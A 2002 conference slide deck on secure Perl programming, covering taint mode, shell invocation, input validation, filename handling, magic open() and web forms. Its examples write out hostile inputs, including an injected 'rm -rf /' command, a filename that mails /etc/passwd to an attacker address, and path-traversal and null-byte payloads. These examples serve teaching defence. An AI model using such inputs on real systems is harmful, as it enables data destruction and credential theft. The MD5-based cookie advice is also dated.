Writing Secure Perl Programs
Peter Haworth
pmh@cpan.org
IOP Publishing Ltd.
O'Reilly Open Source Convention July 22-26, 2002
Outline
Robustness
Tainting
Child processes
Validate all user input
Filenames
Magic open()
Web applications
Safe sequence numbers
Dynamic method names
Introduction
Don't trust the user
Implicit trust -> eventual disaster
No trust -> more safety
Robustness
use strict
use warnings
Check return codes of system calls
open STDOUT,'> write-protected';
Handle "impossible cases" explicitly
if( $x == 1 ){ do_this(); }elsif( $x == 2 ){ do_that(); }
perl -T
Tainting
Data from external sources is tainted
$^X @ARGV %ENV <> read() readline() `` qx() etc shmread() msgrcv() getpw*() etc
All data derived from tainted data is also tainted
Tainted data can't affect external sources
`` qx() system() exec() kill() unlink() mkdir() umask() chmod() etc open() (for writing) NOT print() or write()
$1
,$2
, etc are (almost) never taintedmy($untainted) = $tainted =~ /(\d+)/;
Child processes
Sanitise the environment
%ENV=( PATH => '/bin:/usr/bin' );
Additional
%ENV
taint checksPATH IFS CDPATH ENV BASH_ENV
Don't invoke the shell
# Unsafe: $file eq "; rm -rf /" system "prog $file" and die; # Safe system "prog \Q$file\E" and die; # No shell, and less taint checks (for now) system '/bin/prog',$file and die;
Child processes - Safe pipes
Unsafe
open my $fh,"| mail $user" or die; print $fh $msg; close $fh or die;
Safe, but invokes the shell
open my $fh,"| /bin/mail \Q$user\E" or die; print $fh $msg; close $fh or die;
Safe and efficient
defined(my $pid=open my $fh,'|-') or die; if(!$pid){ exec '/bin/mail',$user; die "Can't exec"; } print $fh $msg; close $fh or die;
Perl 5.8.0 - safe and programmer-efficient
open my $fh,'|-','/bin/mail',$user or die; print $fh $msg; close $fh or die;
Validate all user input
Allow safe; don't disallow unsafe
die "Bad!" if /[;<>&^"']/; # Bad! die "Bad!" unless /\A[\w\s]+\z/; # Good
Check allowed ranges
my ($num) = $input =~ /\A(\d+)\z/ or die "Not an integer"; $num >= 0 && $num <= 100 or die "Out of range";
Make tests consistent
Filenames
Poison null byte
# Unsafe if $filename eq "/etc/passwd\0" open my $fh, '<', "$filename.safe" or die "Invalid filename"; # Safer die "Invalid filename" if $filename =~ /\0/; open my $fh, '<', "$filename.safe" or die "Invalid filename";
Don't allow paths
# Prevents ../../../../etc/passwd die "Invalid filename" if $filename =~ m#/#;
Allow safe; don't disallow unsafe
die "Invalid filename" unless $filename =~ /\A\w+\z/;
Magic open()
open FH,$fname;
Full magic
> /etc/passwd mail evil@hacker.org < /etc/passwd |
open FH,"< $fname";
Slightly magical
-f $fname; # May be a different file
open FH,"< ./$fname\0";
No magic
my $fh=IO::File->new($fname,'<');
No magic, lexical filehandle
open my $fh,'<',$fname;
As above, with perl 5.6.0
Web applications - HTML forms
Hidden fields aren't secure
<input type="hidden" name="password" value="secret">
Expect multiple values
# Unsafe # fname=stuff&fname=action&fname=delete %config = ( action => 'create', filename => $cgi->param('fname'), ); # Safe $sth->execute( scalar $cgi->param('fname') );
Expect the unexpected
Web applications - Cookies
Mostly like hidden fields
Message digest adds security
# Standard with perl 5.8.0 use Digest::MD5 qw(md5_hex); $cookie_val = $val . md5_hex( md5_hex($val . $secret1) . $secret2 );
Check expiry dates
Safe sequence numbers
- Not like this!
-
my $seqn=$dbh->selectrow_array(q( select max(key_field) from table1 ));
- Let the database do it for you
-
my $seqn=$dbh->selectall_arrayref(q( select nextval('name_of_sequence') ))->[0][0];
- Or do it yourself
-
sub nextval{ my($name)=@_; $name=~/\A\w+\z/ or die "Bad sequence name"; my $fh=IO::File->new("/path/$name",O_RDWR|O_CREAT) or die "Can't open: $!"; flock $fh,LOCK_EX or die "Can't lock: $!"; chomp(my $next=<$fh>); ++$next; seek $fh,0,0 or die "Can't rewind: $!"; print $fh "$next\n" or die "Can't write: $!"; close $fh or die "Can't close: $!"; return $next; }
Dynamic method names
$obj -> $meth ()
Works if
$meth
is a method namemy $meth = 'do_stuff'; $obj -> $meth (); # $obj->do_stuff()
Works across packages
my $meth = 'Other::Pkg::do_stuff'; $obj -> $meth ();
Taint checks don't protect
Restrict the user's choice
if( $meth =~ /\A\w+\z/ and my $ref = $obj->can("safe_$meth") ){ $obj -> $ref (); }